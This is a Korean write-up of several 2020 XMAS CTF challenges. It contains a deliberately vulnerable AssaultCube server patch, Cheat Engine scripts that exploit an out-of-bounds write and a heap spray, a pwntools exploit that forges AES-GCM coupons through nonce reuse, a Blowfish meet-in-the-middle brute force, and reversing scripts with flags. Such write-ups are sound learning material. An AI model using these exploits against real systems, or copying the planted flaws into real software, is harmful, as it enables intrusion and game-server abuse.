2020 XMAS CTF Write Up

Write-up
CTF

[B] - Dear Santa (846pts)

/assets/2021-01-01/202101_XMAS.png

//patch.patch
Binary files AC-origin/source/src/ac_client and AC/source/src/ac_client differ
Binary files AC-origin/source/src/ac_server and AC/source/src/ac_server differ
Binary files AC-origin/source/src/cube.h.gch and AC/source/src/cube.h.gch differ
diff -urN -x '*.txt' -x '*.o' -x '*.data' AC-origin/source/src/protocol.cpp AC/source/src/protocol.cpp
--- AC-origin/source/src/protocol.cpp	2020-12-20 00:21:00.643369549 -0800
+++ AC/source/src/protocol.cpp	2020-12-15 04:27:06.103461387 -0800
@@ -424,6 +424,7 @@
     SV_CLIENT, 0,
     SV_EXTENSION, 0,
     SV_MAPIDENT, 3, SV_HUDEXTRAS, 2, SV_POINTS, 0,
+    HELLO_SANTA, 0, BYE_SANTA, 0,
     -1
 };
 
diff -urN -x '*.txt' -x '*.o' -x '*.data' AC-origin/source/src/protocol.h AC/source/src/protocol.h
--- AC-origin/source/src/protocol.h	2020-12-20 00:21:00.643369549 -0800
+++ AC/source/src/protocol.h	2020-12-15 04:27:06.107461372 -0800
@@ -45,6 +45,7 @@
     SV_CLIENT,
     SV_EXTENSION,
     SV_MAPIDENT, SV_HUDEXTRAS, SV_POINTS,
+    HELLO_SANTA, BYE_SANTA,
     SV_NUM
 };
 
diff -urN -x '*.txt' -x '*.o' -x '*.data' AC-origin/source/src/server.cpp AC/source/src/server.cpp
--- AC-origin/source/src/server.cpp	2020-12-20 00:21:00.655369433 -0800
+++ AC/source/src/server.cpp	2020-12-20 00:18:32.964900427 -0800
@@ -2713,6 +2713,10 @@
     welcomepacket(p, cl->clientnum);
     sendpacket(cl->clientnum, chan, p.finalize());
     cl->haswelcome = true;
+    
+    FILE* secret = fopen("/dev/urandom", "r");
+    fgets(secret_value, 0x30, secret);
+    fclose(secret);
 }
 
 void forcedeath(client *cl)
@@ -2883,7 +2887,7 @@
     }
     #define QUEUE_INT(n) QUEUE_BUF(putint(cl->messages, n))
     #define QUEUE_UINT(n) QUEUE_BUF(putuint(cl->messages, n))
-    #define QUEUE_STR(text) QUEUE_BUF(sendstring(text, cl->messages))
+    #define QUEUE_STR(text) QUEUE_BUF(sendstring((char*)cl->textmessage.buf, cl->messages))
     #define MSG_PACKET(packet) \
         packetbuf buf(16 + p.length() - curmsg, ENET_PACKET_FLAG_RELIABLE); \
         putint(buf, SV_CLIENT); \
@@ -3095,9 +3099,9 @@
             case SV_WEAPCHANGE:
             {
                 int gunselect = getint(p);
-                if(!valid_weapon(gunselect) || gunselect == GUN_CPISTOL) break;
                 if(!m_demo && !m_coop) checkweapon(type,gunselect);
                 cl->state.gunselect = gunselect;
+                cl->state.ammo[cl->state.gunselect] = ammostats[cl->state.gunselect].start;
                 QUEUE_MSG;
                 break;
             }
@@ -3729,6 +3733,42 @@
                 break;
             }
 
+            case HELLO_SANTA: // hello santa
+            {
+                int mid1 = curmsg, mid2 = p.length();
+                cl->textmessage.buf = new uchar[0x20];
+   
+                for (int idx = 0; char data = getint(p); idx++){
+                    if( !p.remaining() || idx >= cl->textmessage.alen ) { break; }
+                    cl->textmessage.buf[idx] = data;
+                }
+
+                if(cl->textmessage.buf)
+                {
+                    FILE* flag = fopen("/home/prob/flag", "r");
+                    cl->flag_str = new char[0x20];
+
+                    fgets(cl->flag_str, 0x20, flag);
+                    fclose(flag);
+                    if (!memcmp(cl->textmessage.buf, secret_value, 0x30)){
+                        sendservmsg(cl->flag_str, sender);
+                    }
+                    QUEUE_STR(cl->textmessage.buf);
+                    sendservmsg((char*)cl->textmessage.buf, sender);
+                    printf("%s", cl->textmessage.buf);
+                }
+                break;
+            }
+
+            case BYE_SANTA: // bye santa
+            {
+                if(cl->textmessage.buf){
+                    free(cl->textmessage.buf);
+                    cl->textmessage.buf = NULL;
+                }
+                break;
+            }
+
             case -1:
                 disconnect_client(sender, DISC_TAGT);
                 return;
diff -urN -x '*.txt' -x '*.o' -x '*.data' AC-origin/source/src/server.h AC/source/src/server.h
--- AC-origin/source/src/server.h	2020-12-20 00:21:00.655369433 -0800
+++ AC/source/src/server.h	2020-12-15 04:27:06.107461372 -0800
@@ -105,6 +105,7 @@
 };
 
 static const int DEATHMILLIS = 300;
+char secret_value[0x30] = {0, };
 
 struct clientstate : playerstate
 {
@@ -250,6 +251,8 @@
     clientstate state;
     vector<gameevent> events;
     vector<uchar> position, messages;
+    char* flag_str;
+    vector<uchar> textmessage;
     string lastsaytext;
     int saychars, lastsay, spamcount, badspeech, badmillis;
     int at3_score, at3_lastforce, eff_score;
@@ -346,6 +349,8 @@
         input = inputmillis = 0;
         wn = -1;
         bs = bt = blg = bp = 0;
+        textmessage.alen = 0x20;
+        textmessage.buf = new uchar[textmessage.alen];
     }
 
     void zap()
@@ -440,7 +445,8 @@
     "SV_SWITCHNAME", "SV_SWITCHSKIN", "SV_SWITCHTEAM",
     "SV_CLIENT",
     "SV_EXTENSION",
-    "SV_MAPIDENT", "SV_HUDEXTRAS", "SV_POINTS"
+    "SV_MAPIDENT", "SV_HUDEXTRAS", "SV_POINTS",
+    "HELLO_SANTA", "BYE_SANTA"
 };
 
 const char *entnames[] =
@@ -519,6 +525,8 @@
     {50, 0, 100, S_ITEMARMOUR}, // 2 armour
 };
 
+int pool[0x100] = {-1, };
+
 guninfo guns[NUMGUNS] =
 {
     // Please update ./ac_website/htdocs/docs/introduction.html if these figures change.

패치를 통해 HELLO_SANTA, BYE_SANTA 두개의 게임 패킷번호가 추가되고 SV_WEAPCHANGE 패킷에서 올바른 무기번호인지 체크하는 valid_weapon 함수가 누락되었다. (취약점은 여기서 발생할거라고 예상할 수 있다.)

서버가 HELLO_SANTA 패킷을 수신하면 클라이언트가 보낸 배열을 secret_value 배열과 비교하고 일치하면 flag를 클라이언트에게 전송한다. 그리고 일치여부와 상관없이 클라이언트가 보냈던 배열을 그대로 전송한다.

secret_value은 랜덤한 값으로 초기화되므로 다른 방식으로 flag를 릭해야한다.

//clientgame.cpp
...
void newname(const char *name)
{
    if(name[0])
    {
        string tmpname;
        filtertext(tmpname, name, FTXT__PLAYERNAME, MAXNAMELEN);
        exechook(HOOK_SP, "onNameChange", "%d \"%s\"", player1->clientnum, tmpname);
        copystring(player1->name, tmpname);//12345678901234//
        if(!player1->name[0]) copystring(player1->name, "unarmed");
        updateclientname(player1);
        addmsg(SV_SWITCHNAME, "rs", player1->name);
    }
    else conoutf("your name is: %s", player1->name);
}
...

먼저, 패킷 생성 및 전송을 위해 Cheat Engine을 ac_client.exe 프로세스에 Attach하고 인게임 내에서 패킷 전송 함수 addmsg를 직접 호출하는 방식을 사용하였다.

호출하는 방법은 첫번째는 패킷번호, 두번째는 인자의 구성정보(s=string, i=integer), 세번째부터는 실제 인자 데이터가 들어가면 된다.

alloc(sender,200)
alloc(name,100)

name:
db 'hello1234'

sender:
push name
push ac_client.exe+E3078 //"rs"
push #85 // SV_SWITCHNAME
call ac_client.exe+204B0
add esp,0C
ret

createthread(sender)

예를 들어, 닉네임을 변경하는 패킷번호는 SV_SWITCHNAME = 85번이며 닉네임을 hello1234로 변경하는 패킷을 전송하려면 위와 같이 Auto Assemble 코드를 작성하면 된다.

cl->state.ammo[cl->state.gunselect] = ammostats[cl->state.gunselect].start;

취약점은 valid_weapon 함수호출이 누락되면서 위 코드에서 발생한다.

cl->state.ammo 주소에서 oob가 발생하여 cl(client) 객체의 특정 변수를 조작할 수 있다. 하지만 ammostats[cl->state.gunselect].start 값으로 쓰여지기 때문에 원하는 값으로의 변경은 어렵다.

struct client                   // server side version of "dynent" type
{
		...
    clientstate state;
    vector<gameevent> events;
    vector<uchar> position, messages;
    char* flag_str;
    vector<uchar> textmessage;
    string lastsaytext;
		...
}

cl->state.ammo 에서 0x178 offset만큼 더하면 flag_str, textmessage 변수가 위치하므로 해당 변수들을 조작할 수 있다.

//디버깅을 위해 로그 출력하는 코드 추가됨
case HELLO_SANTA: // hello santa
{
    logline(ACLOG_INFO, "[HACK] Hello santa");
    int mid1 = curmsg, mid2 = p.length();
    cl->textmessage.buf = new uchar[0x20];

    for (int idx = 0; char data = getint(p); idx++){
        
        logline(ACLOG_INFO, "[HACK] Santa debugging: buf[%d]: %d", idx, data);
        if( !p.remaining() || idx >= cl->textmessage.alen ) { break; }
        cl->textmessage.buf[idx] = data;
    }

    if(cl->textmessage.buf)
    {
        FILE* flag = fopen("/flag", "r");
        cl->flag_str = new char[0x20];

        fgets(cl->flag_str, 0x20, flag);
        fclose(flag);
        if (!memcmp(cl->textmessage.buf, secret_value, 0x30)){
            logline(ACLOG_INFO, "[HACK] flag leaked..");
            sendservmsg(cl->flag_str, sender);
        }
        else {
            logline(ACLOG_INFO, "[HACK] flag not leaked..");
        }
        QUEUE_STR(cl->textmessage.buf);
        sendservmsg((char*)cl->textmessage.buf, sender);
        printf("%s", cl->textmessage.buf);
        logline(ACLOG_INFO, "[HACK] cl->textmessage.buf=%s", cl->textmessage.buf);
    }
    break;
}

그 중 textmessage.alen을 조작하면 힙 오버플로우를 유도할 수 있다.

힙 오버플로우는 HELLO_SANTA 패킷에서 cl->textmessage.buf를 0x20만큼 할당했지만 클라이언트로부터 수신한 데이터를 버퍼에 담을때 cl->textmessage.alen값이 0x20를 넘어서면서 발생한다.

해당 과정을 동적 분석하기 위해 서버 바이너리를 Attach하여 디버깅하였다.

/assets/2021-01-01/202101_XMAS1.png

alloc(sender,255)
alloc(message_type,100)

ac_client.exe+205E0: //bypass client oob
db EB

message_type:
db 'ri'

sender:
push #98
push message_type
push #61 // SV_WEAPCHANGE
call ac_client.exe+204B0
add esp,C
ret

createthread(sender)

위 코드를 실행하면 SV_WEAPCHANGE 취약점으로 인해 textmessage.alen값이 0x20에서 의도되지 않은 값 0x5343으로 변경된다.

alloc(hook,255)
alloc(htype,64)
alloc(count,4)
label(notgoing)

ac_client.exe+205E0: //bypass client oob
db EB

htype:
db 'ri'

hook:
pushad
pushfd
inc [count]
mov eax, [count]
cmp eax, 20
ja notgoing
push 41
push htype
push #93 // HELLO_SANTA
call ac_client.exe+204B0
add esp,#12
notgoing:
popfd
popad
mov eax,[edx+000001F0]
jmp ac_client.exe+2D2B2

ac_client.exe+2D2AC:
jmp hook

위 코드를 실행하면 flag 문자열로 힙 스프레이된다.

(서버가 HELLO_SANTA패킷을 수신할때마다 기존에 할당된 flag 데이터를 지우지않고 새로운 메모리를 0x20번 할당한다.)

/assets/2021-01-01/202101_XMAS2.png

위 그림은 textmessage.buf의 내용인데 flag 문자열로 힙 스프레이 된 이후에는 높은 확률로 +0x30 offset부터 flag 데이터가 위치하게 된다.

서버 코드의 sendservmsg 함수는 NULL(‘\0’) 까지 읽어 클라이언트에게 메시지를 전달하므로 textmessage.alen 길이를 우회한 다음 0x30 데이터를 전부 “A”로 채우면 뒤에 있는 flag 문자열도 같이 출력될거라고 예상할 수 있다.

alloc(sender,255)
alloc(message_type,100)

ac_client.exe+205E0: //bypass client oob
db EB

message_type:
db 'r'
db 'iiiiiiiiiiiiiiii'
db 'iiiiiiiiiiiiiiii'
db 'iiiiiiiiiiiiiiii'
db 'i'

sender:
push 41

push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41

push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41

push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41

push message_type
push #93 // HELLO_SANTA
call ac_client.exe+204B0
add esp,#204
ret

createthread(sender)

/assets/2021-01-01/202101_XMAS3.png

로컬로 서버를 구축하였을 때 예상대로 flag가 릭 되었고 대회 서버로 동일하게 진행하여 flag를 획득하였다.

/assets/2021-01-01/202101_XMAS4.png

Flag: XMAS{S4NT4_C4N’t_G1v3_Y0U_A_GF}

[D] - screw driver (452pts)

/assets/2021-01-01/202101_XMAS5.png

이 문제는 윈도우 커널 드라이버로 작성된 파일을 분석하는 문제다. 먼저 DriverEntry 내부에서 호출하는 함수를 찾아보았고 아래의 그림과 같다.

/assets/2021-01-01/202101_XMAS6.png

I/O 디바이스를 만들고 해당 드라이버를 처리할 MajorFunction을 설정하는 것을 확인할 수 있다. 따라서, 각각의 MajorFunction을 분석했다. 위의 그림에서는 중요한 함수가 sub_140002f10 였고 해당 함수 내부에서 아래의 그림과 같이 C:\file 를 읽어오는 것을 확인할 수 있다.

/assets/2021-01-01/202101_XMAS7.png

따라서, 문제파일과 같이 주어진 file 파일을 hxd로 열어본 결과 29byte 데이터가 전부였다. 따라서 해당 파일이 플래그 연산과 깊은 관련이 있을 것으로 보이므로 file_data로 네이밍을 해주었다. 또한, sub_140002df0 함수에서 file_data의 값을 아래의 그림과 같이 특정 테이블에 복사를 진행해준다.

/assets/2021-01-01/202101_XMAS8.png

/assets/2021-01-01/202101_XMAS9.png

위의 그림은 이전 그림 아래에 존재하는 부분인데, sub_14000341c 함수에서 어떠한 연산을 거쳐 플래그를 md5해시화를 시켜 비교하는 함수가 존재했다. 따라서, sub_14000341c함수를 살펴보았고 다음 그림과 같다.

/assets/2021-01-01/202101_XMAS10.png

이전에 읽어들인 file_data를 특정 테이블과 xor연산을 시킨 것을 Str1 변수에 저장하는 것을 확인할 수 있었고, 해당 값은 @*@-Round_aNd_roUnd*@nD_r0uNd 였다. 따라서, 해당 함수를 python으로 아래와 같이 포팅을 하였고 연산 결과가 플래그임을 확인할 수 있었다.

a = [ 0x73, 0x6B, 0x0C, 0x6A, 0x54, 0x0D, 0x52, 0x3F, 0x0C, 0x64, 0x6C, 0x2E, 0x65, 0x4A, 0x33, 0x0B, 0x43, 0x4E, 0x40, 0x26, 0x7F, 0x72, 0x1F, 0x68, 0x5B, 0x63, 0x34, 0x03, 0x3C ] + [0] * 3
file_data = list(bytes.fromhex("41 41 41 41 29 37 5B 1C 3F 79 24 20 16 64 41 15 01 60 0D 3B 68 51 27 62 06 47 4C 34 33".replace(" ", ""))) + [0] * 3
file_data = list(b"XMAS") + file_data[4:]

r = ""
for i in range(29):
    r += chr(a[i] ^ file_data[28 - i]) # list(b'@_@-Round_aNd_roUnd_@nD_r0uNd')

print(r)

file_data = file_data[4:]
str2 = list(b"XMAS" + r.encode()[4:])

v4 = 0
v8 = -1
v11 = 1
v5 = 4
v7 = 5
v6 = 0
while True:
    for i in range(v7):
        v8 += v11
        str2[v5] = v6 + (file_data[5 * v4 + v8] ^ str2[v5])
        v5 += 1
        v6 += 1
        #print(5 * v4 + v8, v5)
    
    v7 -= 1
    if v7 <= 0:
        break

    for k in range(v7):
        v4 += v11
        str2[v5] = v6 + (file_data[5 * v4 + v8] ^ str2[v5])
        v5 += 1
        v6 += 1
    
    v11 = -v11

print(str2)
print("".join(map(chr, str2)))

/assets/2021-01-01/202101_XMAS11.png

Flag: XMAS{Y0u_@r3_tH3_b35t_dRiv3r}

[E] - coupon (531pts)

/assets/2021-01-01/202101_XMAS12.png

문제 파일로는 Linux 64bit ELF 바이너리 하나가 주어진다. 해당 파일을 실행해보면 쿠폰을 발급받아 산타로부터 선물을 받을 수 있는 프로그램인 것을 알 수 있다.

/assets/2021-01-01/202101_XMAS13.png

/assets/2021-01-01/202101_XMAS14.png

/assets/2021-01-01/202101_XMAS15.png

위에서 보다시피 선물 목록에는 flag도 포함이 되어있는데, 정작 flag선물 쿠폰을 받기 위해 flag를 입력하면 문자열이 필터링되어있어 flag 쿠폰은 생성할 수 없는 것을 확인할 수 있다. 해당 문자열 필터링 부분은 sub_17A9함수에서 확인할 수 있다.

/assets/2021-01-01/202101_XMAS16.png

또한 쿠폰 생성은 AES-GCM을 사용하는데, GCM 모드는 CTR모드에 갈루아 인증 태그를 합한 형태로 다음과 같은 로직으로 구성된다.

/assets/2021-01-01/202101_XMAS17.png

해당 AES-GCM 모드의 구조에서 암호화부분인 CTR모드 부분만을 떼어와 본다면 다음과 같다.

/assets/2021-01-01/202101_XMAS18.png

다른 블럭 암호 운영모드와는 다르게 GCM(or CTR)모드에서는 암호시스템의 입력으로 평문을 받지않고, nonce와 couter값을 이용해 keystream을 생성하는 것을 볼 수 있다. ciphertext는 이 keystream과 plaintext의 단순 XOR연산에 의해 생성되며, 복호화 역시 같은 keysteam 생성하여 ciphertext와 XOR하여 plaintext를 구할 수 있다.

즉, 위 모드의 특성으로 인해 문제의 coupon 생성 프로그램에서도 key와 nonce값이 같다면 쿠폰을 암호화하는데 쓰이는 keystream은 항상 같다는 것을 알 수 있다.

그렇다면 이 프로그램의 nonce와 key는 어떻게 생성되는지 살펴보자. 해당 부분은 main의 sub_161A함수에서 찾아볼 수 있다. init이란 함수명으로 rename하였으며 다음과 같다.

/assets/2021-01-01/202101_XMAS19.png

/assets/2021-01-01/202101_XMAS20.png

무려 noncekey를 생성하기 위해 C언어의 rand함수를 사용하며, seed값으로 time(0)을 사용하는것을 볼 수 있다. 그렇다면 같은 시각에 쿠폰 발행 센터에 동시에 연결한다면 같은 noncekey를 가지고 암호화를 수행하는 발행센터를 여러 곳 둘 수 있다.

이것을 통해서 우리는 쿠폰 발행 횟수 제한이라는 문제를 해결할 수 있고, 같은 nonce와 key를 사용해 만든 쿠폰들을 통해 flag 선물 쿠폰을 요청하지 않고도 flag 선물 쿠폰을 생성할 수 있다.

이게 가능한 이유는 nonce와 key가 같을 경우, AES-GCM은 같은 keystream을 생성하고, 이는 평문과 단순히 XOR되기 때문에 우리는 flaf, flab, flac라는 선물 쿠폰 데이터를 XOR한다면 flag라는 쿠폰을 만들 수 있는 것이다.

/assets/2021-01-01/202101_XMAS21.png

참고로 이는 GHASH를 통해 생성된 tag값에도 적용되기때문에 flag 쿠폰의 tag값 역시 3개의 쿠폰 tag를 XOR하여 구할 수 있다.

익스플로잇을 위한 코드는 다음과 같다.

from pwn import *
from Crypto.Util.number import long_to_bytes
from Crypto.Util.strxor import strxor
from time import sleep

conn1 = remote("host4.dreamhack.games", 15317)
conn2 = remote("host4.dreamhack.games", 15317)

def get_coupon(conn, name, gift):
    conn.sendlineafter("4. exit", "2")
    conn.sendlineafter(" : ", name)
    conn.sendlineafter(" : ", gift)
    conn.recvuntil("Coupon : ")
    coupon = conn.recvline().strip().decode()
    conn.recvuntil("Tag : ")
    tag = conn.recvline().strip().decode()
    return int(coupon, 16), int(tag, 16)

def submit_coupon(conn, coupon, tag):
    conn.sendlineafter("4. exit", "3")
    conn.sendlineafter(" : ", long_to_bytes(coupon).hex())
    conn.sendlineafter(" : ", long_to_bytes(tag).hex())

while True:
    c1, h1 = get_coupon(conn1, "test", b"flab")
    c2, h2 = get_coupon(conn2, "test", b"flac")
    c3, h3 = get_coupon(conn1, "test", b"flaf")

    if ((c1^c2) >> 64) == 1:
        break
    else:
        conn1.close()
        conn2.close()
        sleep(0.3)
        conn1 = remote("host4.dreamhack.games", 15317)
        conn2 = remote("host4.dreamhack.games", 15317)

flag_tag = h1 ^ h2 ^ h3
flag_coupon = c1 ^ c2 ^ c3

conn1.close()
submit_coupon(conn2, flag_coupon, flag_tag)
conn2.interactive()

/assets/2021-01-01/202101_XMAS22.png

Flag: XMAS{DId_u_9et_pr3sent_1n_tH1s_Chr1stma5?}

[F] - phantom (291pts)

/assets/2021-01-01/202101_XMAS23.png

문제에서 주어진 Santa’s cipher.txt를 살펴보면 다음과 같은 내용을 확인할 수 있다.

To protect Christmas gifts from thieves, our security manager decided to introduce a new cipher system.
In this system, Blowfish algorithm with ECB mode is used and its initial value is set to 0.
Secret information is included things like the password of the safe.
The details are as follows :

Encryption
1. Prepare randomly generated 8-byte keys, K1, K2.
2. p = base64.decode(plaintext).
3. Perform C1 = Blowfish.encrypt(K1, p).
4. Perform C2 = Blowfish.encrypt(K2, C1).
5. Perform ciphertext = base64.encode(C2).

Decryption
1. Prepare K1, K2.
2. c = base64.decode(ciphertext).
3. Perform D2 = Blowfish.decrypt(K2, c).
4. Perform D1 = Blowfish.decrypt(K1, D2).
5. Perform plaintext = base64.encode(D1).

Here are two examples.
1. plaintext: "QUJDREVGR0g="             ciphertext: "J8LFHyoEuoo="
2. plaintext: "MTIzNDU2Nzg="             ciphertext: "BO9qLlWi45U="

K1 and K2 were secretly sent to all of the santas.
Be careful not to expose the keys.

암호화 방법은 Blowfish algorithm을 사용하여 ECB 모드인 것을 확인할 수 있었다. 친절하게도 공격 방법을 모두 알려주고 있다.

details에서 제공되는 plaintext, ciphertext예시를 통해 key 값을 알아내어 공격하도록 한다. 이때 효과적인 브포를 수행하기 위해 Key map을 만들어 브포를 돌려 값을 알아내었다.

/assets/2021-01-01/202101_XMAS24.png

import base64
import hashlib
import binascii
from Crypto.Cipher  import Blowfish
from struct         import pack
from tqdm           import tqdm

Done    = False

p       = "MTIzNDU2Nzg="
c       = "BO9qLlWi45U="
# p       = "QUJDREVGR0g="
# c       = "J8LFHyoEuoo="
pw      = "m6US+8OA+WK1Dl2kLc60Kxp2o3ydWPuXbZK2vBOrQEPTSzH6Od6Qn137Ctn7oLqm7Nb2uvb2wHU="

k1      = bytes.fromhex("9e919bb33aef")
k2      = bytes.fromhex("f6ea6d937f22")
ll      = {}

p       = base64.b64decode(p)
c       = base64.b64decode(c)
bs      = Blowfish.block_size

for i in tqdm(range(256), desc=f"[=] Encryption Key-Map "):
    for j in range(256):
        # Blowfish.new("KEY", Blowfish.MODE_XXX)
        cipher          = Blowfish.new(k1 + chr(i).encode() + chr(j).encode(), Blowfish.MODE_ECB)
        ll[f"{i} {j}"]  = cipher.encrypt(p)

for i in tqdm(range(256), desc=f"[=] Decryption Progress"):
    for j in range(256):
        cipher          = Blowfish.new(chr(i).encode() + chr(j).encode() + k2, Blowfish.MODE_ECB)
        find            = cipher.decrypt(c)

        for key, value in ll.items():
            if find == value:
                finded  = key
                print(f"[=] finded : {finded}")

                k1_s    = finded.split(' ')
                k1      = k1 + chr(int(k1_s[0])).encode() + chr(int(k1_s[1])).encode()
                k2      = chr(i).encode() + chr(j).encode() + k2

                print(f"[=] Key Found : {k1}")
                print(f"[=] Key Found : {k2}")

                # inner decryption function
                cpw     = base64.b64decode(pw)
                cipher_1= Blowfish.new(k2, Blowfish.MODE_ECB)
                cpw_k2  = cipher_1.decrypt(cpw)
                cipher_2= Blowfish.new(k1, Blowfish.MODE_ECB)
                cpw_k1  = cipher_2.decrypt(cpw_k2)

                print(f"[+] Flag : {cpw_k1}")

                Done    = True

        if Done == True:
            break

Flag : The password of the safe is XMAS{C@tcH_y0u_1F_I_C@N!!!}.

[H] - show me the pcap (509pts)

/assets/2021-01-01/202101_XMAS25.png

Wireshark로 쭉 살펴보니 SSH와 TLS1.2, TLS1.3, RTP 패킷 등이 섞여 있었다. 다른 가능성을 다 보았지만, 문제의 내용과 흡사한 것은 RTP(Real Time Protocol)로 통신한 내용이었다. 특히 WebRTC를 사용하였을 것으로 추측되어 패킷 내에서 RTP Payload 데이터를 추출하여 동영상 파일로 변환하는 방법에 집중하였다.

[I] - jsantabox (846pts)

/assets/2021-01-01/202101_XMAS29.png

이 문제는 1분마다 난독화된 js파일이 변경된다. 변경되는 js파일에서 특정 유저에게 선물을 보낼 메일 주소를 획득해야하는데, 다음 그림과 같이 난독화 코드 사이에 디버깅을 방지 및 정상적으로 디코딩하지 않도록 코드가 구현되어있었다.

/assets/2021-01-01/202101_XMAS30.png

따라서 Fiddler로 모든 스크립트가 정상적으로 실행될 수 있도록 아래의 코드와 같이 Fiddler script를 작성하였다.

static function OnBeforeResponse(oSession: Session) {
    if (m_Hide304s && oSession.responseCode == 304) {
        oSession["ui-hide"] = "true";
    }
		if (oSession.HostnameIs("host4.dreamhack.games:22501") && oSession.oResponse.headers.ExistsAndContains("Content-Type","application/javascript; charset=UTF-8")){
				oSession.utilDecodeResponse();
				oSession.utilReplaceInResponse('debugger','');
				oSession.utilReplaceInResponse('[]){}else', '[]||true){}');
				oSession.utilReplaceInResponse('[])', '[]||true)');
		}
}

이후에 모든 데이터가 정상적으로 복호화됨을 확인하였고, 자동으로 입력을 처리할 수 있도록 자바스크립트로 구현하였고 실행하게 되면 플래그를 획득할 수 있었다.

function load(url, address, callback) {
    var xhr = new XMLHttpRequest();

    xhr.onreadystatechange = function() {
		    if (xhr.readyState === 4) {
		      callback(xhr.response);
		    }
    }

    xhr.open('POST', "/", true);
    xhr.send("address=" + address);
}

function isFunction(functionToCheck) {
    return typeof functionToCheck == "function";
}

var tmp = Object.getOwnPropertyNames(window).filter(word => word.length == 4);
var nop = ["Date", "JSON", "Math", "Intl", "eval", "Text", "Node", "File", "Blob", "Attr", "self", "name", "atob", "blur", "btoa", "find", "open", "stop", "keys", "copy", "load", "vars", "mems"];
var vars = tmp.filter(word => nop.indexOf(word) == -1);

var mems = Object.getOwnPropertyNames(window[vars]).filter(word => word.length == 4).filter(word => !isFunction(window[vars][word]) && !Array.isArray(window[vars][word]))

function getMail(name) {
    for(const v of mems) {
        if(window[vars][v]["n"] === name)
            return window[vars][v]["k"]
    }
}

Flag: XMAS{ITHINKYOUARENOTHUMAN}

[K] - No g (374pts)

/assets/2021-01-01/202101_XMAS31.png

문제의 내용에서 No g가 무엇인지 찾아보기 위해 먼저 악보를 살펴보았다.

/assets/2021-01-01/202101_XMAS32.png

문제 내에서도 No G라는 말이 있는데, 이후 악보가 여러 음계로 작성되어 있는 것을 확인할 수 있었다. 여기서 도레미파솔라시도 영어로 검색해보니 영어로 어떻게 표현되는지 알 수 있었다.

/assets/2021-01-01/202101_XMAS33.png

이를 통해 G가 Hex값이 아니라서 그렇다는 것을 알 수 있어 다음과 같이 정리해보았다.

FEFEFFDC EBFCFCDE BEFDEDED EFDDEDDF
EDFDFBEE BBFDFFDF FDFDFEFC FFFABAAA
BAAABABA CDCABBDB CCABBABB BABBAAAB
CCBECEDB BCCDFCCA EBADDCBE BBABEBCD
CDACADEB BEBFDFDD BFFCCFFF EBABEBCC
AABABAAF BDCCBABB ACBCDFEF FEFE

XMAS{???}형식으로 되어있다고 생각해서 알 수 있는 부분의 계이름을 변수로 각 문자는 변수의 합이라고 가정하였다. 위의 표시는 8음절씩 끊어서 작성한 것이다.

FEFEFF DCEBFC FCDEB EFDEDE DEFDDEDDF
X M A S {
EDFD FBEEBBFD FFDFFDF DFEFCFFF ABAAA
7 h e r 3
BAAABABAC DCABBDBCC ABBAB BBABBAAAB
_ i 5 _
CCBECEDBB CCDFCCAEB ADDCBEBB ABEBCD 
n o _ G
CDACADEB BEBFDFDD BFFCCFFF EBABEBCC 
_ i n _
AABABAA FBDC CBABBACB CDFEDFEFE
H 3 X }

z3를 돌려서 정확한 값인지 검증하고 나머지는 게싱해서 더하고 빼서 맞췄다.

from z3 import *

C = Int('C')
D = Int('D')
E = Int('E')
F = Int('F')
A = Int('A')
B = Int('B')

s = Solver()

s.add(F+E+F+E+F+F       == ord("X"))
s.add(D+C+E+B+F+C       == ord("M"))
s.add(F+C+D+E+B         == ord("A"))
s.add(E+F+D+E+D+E       == ord("S"))
s.add(D+E+F+D+D+E+D+D+F == ord("{"))
s.add(C+D+F+E+D+F+E+F+E == ord("}"))

s.check()
print(s.model())

C = 12
D = 13
E = 14
F = 15
A = 10
B = 11

print("[+] Flag : ")
print(chr(F+E+F+E+F+F       )) # X
print(chr(D+C+E+B+F+C       )) # M
print(chr(F+C+D+E+B         )) # A
print(chr(E+F+D+E+D+E       )) # S
print(chr(D+E+F+D+D+E+D+D+F )) # {
print(chr(E+D+F+D           )) # 7
print(chr(F+B+E+E+B+B+F+D   )) # h
print(chr(F+F+D+F+F+D+F     )) # e
print(chr(D+F+E+F+C+F+F+F   )) # r
print(chr(A+B+A+A+A         )) # 3
print(chr(B+A+A+A+B+A+B+A+C )) # _
print(chr(D+C+A+B+B+D+B+C+C )) # i
print(chr(A+B+B+A+B         )) # 5
print(chr(B+B+A+B+B+A+A+A+B )) # _
print(chr(C+C+B+E+C+E+D+B+B )) # n
print(chr(C+C+D+F+C+C+A+E+B )) # o
print(chr(A+D+D+C+B+E+B+B   )) # _
print(chr(A+B+E+B+C+D       )) # G
print(chr(C+D+A+C+A+D+E+B   )) # _
print(chr(B+E+B+F+D+F+D+D   )) # i
print(chr(B+F+F+C+C+F+F+F   )) # n
print(chr(E+B+A+B+E+B+C+C   )) # _
print(chr(A+A+B+A+B+A+A     )) # H
print(chr(F+B+D+C           )) # 3
print(chr(C+B+A+B+B+A+C+B   )) # X
print(chr(C+D+F+E+D+F+E+F+E )) # }

Flag : XMAS{7her3_i5_no_G_in_H3X}

[M] - lock (268pts)

/assets/2021-01-01/202101_XMAS34.png

이 문제는 lock.dump파일만 주어졌다. 해당 파일은 aarch64 insturction으로 디스어셈되어있었고, 그리 긴 어셈도 아니였기에 변수 네이밍을 진행했다. 분석 결과 대략적으로 아래와 같이 구현되어있음을 알 수 있었다.

key = [0x96, 0x19, 0x7, 0x11, 0x99, 0x19, 0x2, 0x11]
value1 = [0xF7, 0x7B, 0x64, 0x75, 0xFC, 0x7F, 0x65, 0x79, 0xFF, 0x73, 0x6C, 0x7D, 0xF4, 0x77, 0x6D, 0x61, 0xE7, 0x6B, 0x74, 0x65, 0xEC, 0x6F, 0x75, 0x69, 0xEF, 0x63, 0x46, 0x53, 0xDA, 0x5D, 0x47, 0x57, 0xD1, 0x51, 0x4E, 0x5B, 0xD2, 0x    55, 0x4F, 0x5F, 0xD9, 0x49, 0x56, 0x43, 0xCA, 0x4D, 0x57, 0x47, 0xC1, 0x41, 0x5E, 0x4B, 0xA9, 0x28, 0x30, 0x22, 0xA2, 0x2C, 0x31, 0x26, 0xA1, 0x20]
r = []
for i in range(len(value1)):
    r += [ value1[i] ^ key[i % len(key)] ]

tb = "".join(map(chr, r))

